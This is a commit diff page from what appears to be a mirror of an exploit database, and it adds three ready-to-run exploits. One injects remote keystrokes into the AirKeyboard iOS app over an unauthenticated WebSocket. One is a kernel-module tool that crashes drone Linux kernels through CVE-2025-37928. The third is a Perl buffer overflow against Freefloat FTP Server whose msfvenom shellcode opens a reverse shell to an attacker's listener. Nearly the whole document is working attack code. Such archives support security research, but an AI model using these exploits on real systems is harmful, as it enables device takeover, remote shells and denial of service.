Skip to content

Commit f5bb20c

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 646c21f + 3cfac1e commit f5bb20c

16 files changed

Lines changed: 1547 additions & 170 deletions

File tree

exploits/ios/remote/52333.py

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Exploit Title: AirKeyboard iOS App 1.0.5 - Remote Input Injection
2+
# Date: 2025-06-13
3+
# Exploit Author: Chokri Hammedi
4+
# Vendor Homepage: https://airkeyboardapp.com
5+
# Software Link: https://apps.apple.com/us/app/air-keyboard/id6463187929
6+
# Version: Version 1.0.5
7+
# Tested on: iOS 18.5 with AirKeyboard app
8+
9+
10+
'''
11+
Description:
12+
The AirKeyboard iOS application exposes a WebSocket server on port 8888
13+
which accepts arbitrary input injection messages from any client.
14+
No authentication or pairing process is required. This allows any
15+
attacker to type arbitrary keystrokes directly into the victim’s iOS device
16+
in real-time without user interaction, resulting in full remote input
17+
control.
18+
'''
19+
20+
import websocket
21+
import json
22+
import time
23+
24+
target_ip = "192.168.8.101"
25+
ws_url = f"ws://{target_ip}:8888"
26+
text = "i'm hacker i can write on your keyboard :)"
27+
28+
keystroke_payload = {
29+
"type": 1,
30+
"text": f"{text}",
31+
"mode": 0,
32+
"shiftKey": True,
33+
"selectionStart": 1,
34+
"selectionEnd": 1
35+
}
36+
37+
def send_payload(ws):
38+
print("[+] Sending remote keystroke...")
39+
ws.send(json.dumps(keystroke_payload))
40+
time.sleep(1)
41+
ws.close()
42+
43+
def on_open(ws):
44+
send_payload(ws)
45+
46+
def on_error(ws, error):
47+
print(f"[!] Error: {error}")
48+
49+
def on_close(ws, close_status_code, close_msg):
50+
print("[*] Connection closed")
51+
52+
def exploit():
53+
print(f"[+] Connecting to AirKeyboard WebSocket on {target_ip}:8888")
54+
ws = websocket.WebSocketApp(ws_url,
55+
on_open=on_open,
56+
on_error=on_error,
57+
on_close=on_close)
58+
ws.run_forever()
59+
60+
if __name__ == "__main__":
61+
exploit()

exploits/multiple/local/52329.py

Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
#!/usr/bin/env python3
2+
# Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
3+
# Author: Mohammed Idrees Banyamer
4+
# Instagram: @banyamer_security
5+
# GitHub: https://github.com/mbanyamer
6+
# Date: 2025-06-10
7+
# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
8+
# CVE: CVE-2025-37928
9+
# Type: Local Privilege Escalation / Kernel Panic
10+
# Platform: Linux-based drone OS (Parrot and DJI variants)
11+
# Author Country: Jordan
12+
# CVSS v3.1 Score: 7.3 (Important)
13+
# Weakness: CWE-284: Improper Access Control
14+
# Attack Vector: Local
15+
# User Interaction: None
16+
# Scope: Unchanged
17+
# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
18+
# Exploit Code Maturity: Proof of Concept
19+
# Remediation Level: Official Fix Available
20+
#
21+
# Description:
22+
# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
23+
# exploiting CVE-2025-37928 present in certain Linux kernels running on
24+
# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
25+
#
26+
# Steps of exploitation:
27+
# 1. Check if running as root.
28+
# 2. Verify kernel version vulnerability.
29+
# 3. Detect drone type from system files.
30+
# 4. Build and load vulnerable kernel module.
31+
# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
32+
#
33+
# Affected Drone Versions:
34+
# - Parrot QRD
35+
# - Parrot Alpha-M (DT)
36+
# - DJI QRD
37+
# - DJI Alpha-M (DT)
38+
#
39+
# ------------------------------------------------------------------------------
40+
# Usage:
41+
# sudo python3 cve_2025_37928_tool.py [OPTIONS]
42+
#
43+
# Options:
44+
# --dry-run Run detection & build only (no module loading)
45+
# --force Force exploit even if kernel not detected as vulnerable
46+
# --cleanup-only Remove the kernel module without triggering panic
47+
# --verbose Enable detailed logging and debug output
48+
# --help Show usage information
49+
#
50+
# Examples:
51+
# sudo python3 cve_2025_37928_tool.py --dry-run
52+
# sudo python3 cve_2025_37928_tool.py
53+
# sudo python3 cve_2025_37928_tool.py --force
54+
# sudo python3 cve_2025_37928_tool.py --cleanup-only
55+
#
56+
# Warning:
57+
# This PoC causes an immediate kernel panic.
58+
# Use it ONLY in isolated and controlled environments (e.g., lab tests).
59+
# ------------------------------------------------------------------------------
60+
61+
import os
62+
import sys
63+
import subprocess
64+
import tempfile
65+
import argparse
66+
import shutil
67+
import platform
68+
69+
MODULE_NAME = "cve_2025_37928_poc"
70+
C_FILENAME = MODULE_NAME + ".c"
71+
KO_FILENAME = MODULE_NAME + ".ko"
72+
73+
KERNEL_MODULE_CODE = r'''
74+
#include <linux/module.h>
75+
#include <linux/kernel.h>
76+
#include <linux/init.h>
77+
#include <linux/interrupt.h>
78+
#include <linux/sched.h>
79+
80+
MODULE_LICENSE("GPL");
81+
MODULE_AUTHOR("PoC Author");
82+
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");
83+
84+
static void trigger_panic_tasklet(unsigned long data)
85+
{
86+
pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
87+
schedule(); // This causes kernel panic
88+
}
89+
90+
DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);
91+
92+
static int __init poc_init(void)
93+
{
94+
pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
95+
tasklet_schedule(&my_tasklet);
96+
return 0;
97+
}
98+
99+
static void __exit poc_exit(void)
100+
{
101+
tasklet_kill(&my_tasklet);
102+
pr_info("[CVE-2025-37928] PoC module unloaded\n");
103+
}
104+
105+
module_init(poc_init);
106+
module_exit(poc_exit);
107+
'''
108+
109+
MAKEFILE_CONTENT = f'''
110+
obj-m += {MODULE_NAME}.o
111+
112+
all:
113+
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
114+
115+
clean:
116+
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
117+
'''
118+
119+
def check_root():
120+
if os.geteuid() != 0:
121+
print("[-] Must be run as root.")
122+
sys.exit(1)
123+
124+
def detect_kernel():
125+
version = platform.release()
126+
vulnerable_versions = ["5.10", "5.15", "6.0"]
127+
vulnerable = any(v in version for v in vulnerable_versions)
128+
print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
129+
return vulnerable
130+
131+
def detect_drone_type():
132+
print("[*] Detecting drone type...")
133+
files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
134+
found = []
135+
for path in files:
136+
if os.path.exists(path):
137+
try:
138+
with open(path, "r") as f:
139+
content = f.read().strip()
140+
if any(x in content for x in ["Parrot", "DJI"]):
141+
found.append(content)
142+
except:
143+
continue
144+
if found:
145+
for d in found:
146+
print(f" [i] Found: {d}")
147+
else:
148+
print(" [!] No drone ID found.")
149+
return found
150+
151+
def write_module(tempdir):
152+
c_path = os.path.join(tempdir, C_FILENAME)
153+
makefile_path = os.path.join(tempdir, "Makefile")
154+
with open(c_path, "w") as f:
155+
f.write(KERNEL_MODULE_CODE)
156+
with open(makefile_path, "w") as f:
157+
f.write(MAKEFILE_CONTENT)
158+
return c_path
159+
160+
def build_module(tempdir):
161+
print("[*] Building module...")
162+
result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
163+
if result.returncode != 0:
164+
print("[-] Build failed:\n", result.stderr)
165+
sys.exit(1)
166+
print("[+] Build successful.")
167+
return os.path.join(tempdir, KO_FILENAME)
168+
169+
def load_module(ko_path):
170+
print("[*] Loading kernel module...")
171+
result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
172+
if result.returncode != 0:
173+
print("[-] insmod failed:\n", result.stderr)
174+
sys.exit(1)
175+
print("[!] Module loaded. Kernel panic should occur if vulnerable.")
176+
177+
def unload_module():
178+
print("[*] Attempting to remove module...")
179+
subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL)
180+
print("[+] Module removal attempted.")
181+
182+
def clean_build(tempdir):
183+
subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
184+
185+
def main():
186+
parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes")
187+
parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation")
188+
parser.add_argument("--force", action="store_true", help="Force execution even if version unknown")
189+
parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded")
190+
191+
args = parser.parse_args()
192+
check_root()
193+
194+
if args.cleanup_only:
195+
unload_module()
196+
return
197+
198+
vulnerable = detect_kernel()
199+
detect_drone_type()
200+
201+
if not vulnerable and not args.force:
202+
print("[-] Kernel not identified as vulnerable. Use --force to override.")
203+
sys.exit(1)
204+
205+
if args.dry_run:
206+
print("[*] Dry run mode. Exiting before exploitation.")
207+
return
208+
209+
with tempfile.TemporaryDirectory() as tempdir:
210+
print(f"[*] Working directory: {tempdir}")
211+
write_module(tempdir)
212+
ko_path = build_module(tempdir)
213+
214+
try:
215+
load_module(ko_path)
216+
except KeyboardInterrupt:
217+
print("[!] Interrupted. Attempting cleanup...")
218+
finally:
219+
unload_module()
220+
clean_build(tempdir)
221+
222+
if __name__ == "__main__":
223+
main()

exploits/multiple/remote/52323.txt

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
# Exploit Title: Freefloat FTP Server 1.0 - Remote Buffer Overflow
2+
# Date: 22 may 2025
3+
# Notification vendor: No reported
4+
# Discovery by: Fernando Mengali
5+
# LinkedIn: https://www.linkedin.com/in/fernando-mengali-273504142/
6+
# Version: 1.0
7+
# Tested on: Windows XP SP3 English - # Version 5.1 (Build 2600.xpsp.080413-2111 : Service Pack 3)
8+
# Vulnerability Type: Remote Buffer Overflow
9+
# CVE: CVE-2025-5548
10+
11+
#offset: 246
12+
13+
#badchars: \x00\x0a\x0d
14+
15+
#EIP: 0x7C86467B (JMP ESP)
16+
#Kernel32.dll
17+
18+
use IO::Socket::INET;
19+
20+
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.232.129 lport=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --platform Windows -f perl
21+
# nc -vlp 4444
22+
# execute exploit
23+
24+
my $buf =
25+
"\xda\xd4\xbb\x4e\xd9\xfd\x96\xd9\x74\x24\xf4\x58\x2b\xc9" .
26+
"\xb1\x52\x31\x58\x17\x83\xc0\x04\x03\x16\xca\x1f\x63\x5a" .
27+
"\x04\x5d\x8c\xa2\xd5\x02\x04\x47\xe4\x02\x72\x0c\x57\xb3" .
28+
"\xf0\x40\x54\x38\x54\x70\xef\x4c\x71\x77\x58\xfa\xa7\xb6" .
29+
"\x59\x57\x9b\xd9\xd9\xaa\xc8\x39\xe3\x64\x1d\x38\x24\x98" .
30+
"\xec\x68\xfd\xd6\x43\x9c\x8a\xa3\x5f\x17\xc0\x22\xd8\xc4" .
31+
"\x91\x45\xc9\x5b\xa9\x1f\xc9\x5a\x7e\x14\x40\x44\x63\x11" .
32+
"\x1a\xff\x57\xed\x9d\x29\xa6\x0e\x31\x14\x06\xfd\x4b\x51" .
33+
"\xa1\x1e\x3e\xab\xd1\xa3\x39\x68\xab\x7f\xcf\x6a\x0b\x0b" .
34+
"\x77\x56\xad\xd8\xee\x1d\xa1\x95\x65\x79\xa6\x28\xa9\xf2" .
35+
"\xd2\xa1\x4c\xd4\x52\xf1\x6a\xf0\x3f\xa1\x13\xa1\xe5\x04" .
36+
"\x2b\xb1\x45\xf8\x89\xba\x68\xed\xa3\xe1\xe4\xc2\x89\x19" .
37+
"\xf5\x4c\x99\x6a\xc7\xd3\x31\xe4\x6b\x9b\x9f\xf3\x8c\xb6" .
38+
"\x58\x6b\x73\x39\x99\xa2\xb0\x6d\xc9\xdc\x11\x0e\x82\x1c" .
39+
"\x9d\xdb\x05\x4c\x31\xb4\xe5\x3c\xf1\x64\x8e\x56\xfe\x5b" .
40+
"\xae\x59\xd4\xf3\x45\xa0\xbf\x3b\x31\x42\xbe\xd4\x40\x92" .
41+
"\xd0\x78\xcc\x74\xb8\x90\x98\x2f\x55\x08\x81\xbb\xc4\xd5" .
42+
"\x1f\xc6\xc7\x5e\xac\x37\x89\x96\xd9\x2b\x7e\x57\x94\x11" .
43+
"\x29\x68\x02\x3d\xb5\xfb\xc9\xbd\xb0\xe7\x45\xea\x95\xd6" .
44+
"\x9f\x7e\x08\x40\x36\x9c\xd1\x14\x71\x24\x0e\xe5\x7c\xa5" .
45+
"\xc3\x51\x5b\xb5\x1d\x59\xe7\xe1\xf1\x0c\xb1\x5f\xb4\xe6" .
46+
"\x73\x09\x6e\x54\xda\xdd\xf7\x84\x1f\xd2\x90\x6e\x70\xeb" .
47+
"\x82\x52\x75\x11\x7b\x02\x0c\x9f\x7b\x6c\x48\x37\x2a\x59" .
48+
"\x07\x94\x51\xcc\xde\xc5\x30\x84\x22\x97\x58\x0e\x12\x72" .
49+
"\x5a\x1a\x4b\x9a\x5a\x7c\x4e\x04\x2e\x14\x48\xbc\x67\x9b" .
50+
"\x9d\x6c\xa9\x79\x0f\x4f\x08\xbd\x2e\xec\xaa\x45\x64\x09" .
51+
"\xe2\x98\x56\x62\xde\x65\xf2\x48\x4e\xec\x79\x1b\x4c\x9d" .
52+
"\xa5\xda\x47\xd3\xa5\x53\xa3\xaa\x52\x11\x25\xdb\x6a\x62" .
53+
"\xc3\x5a\x3a\x90\xab\x70\x4e\x74\x4a\x12\xae\x53\x54\xda" .
54+
"\x38\x90\x70\x58\x98\xac\x2b\xdb\x7c\x48\x5f\x1e\x4a\x4a" .
55+
"\x1e\x84\x28";
56+
57+
my $offset = 246; # Será substituído depois
58+
my $eip = pack('V', 0x7c86467b); # Endereço JMP ESP little endian
59+
my $nop = "\x90" x 20;
60+
61+
my $padding = "A" x $offset;
62+
my $payload = $padding . $eip . $nop . $buf;
63+
64+
my $socket = IO::Socket::INET->new(
65+
PeerAddr => '192.168.232.135',
66+
PeerPort => '21',
67+
Proto => 'tcp'
68+
) or die "Failed to connect: $!\n";
69+
70+
print "Connected to FTP server\n";
71+
72+
my $response = "";
73+
$response = <$socket>; # banner inicial do FTP
74+
75+
print $socket "USER anonymous\r\n";
76+
$response = <$socket>;
77+
print $socket "PASS anonymous\r\n";
78+
$response = <$socket>;
79+
80+
print $socket "NOOP $payload\r\n";
81+
$response = <$socket>;
82+
83+
print "Payload sent, check your listener.\n";
84+
85+
close $socket;

0 commit comments

Comments
 (0)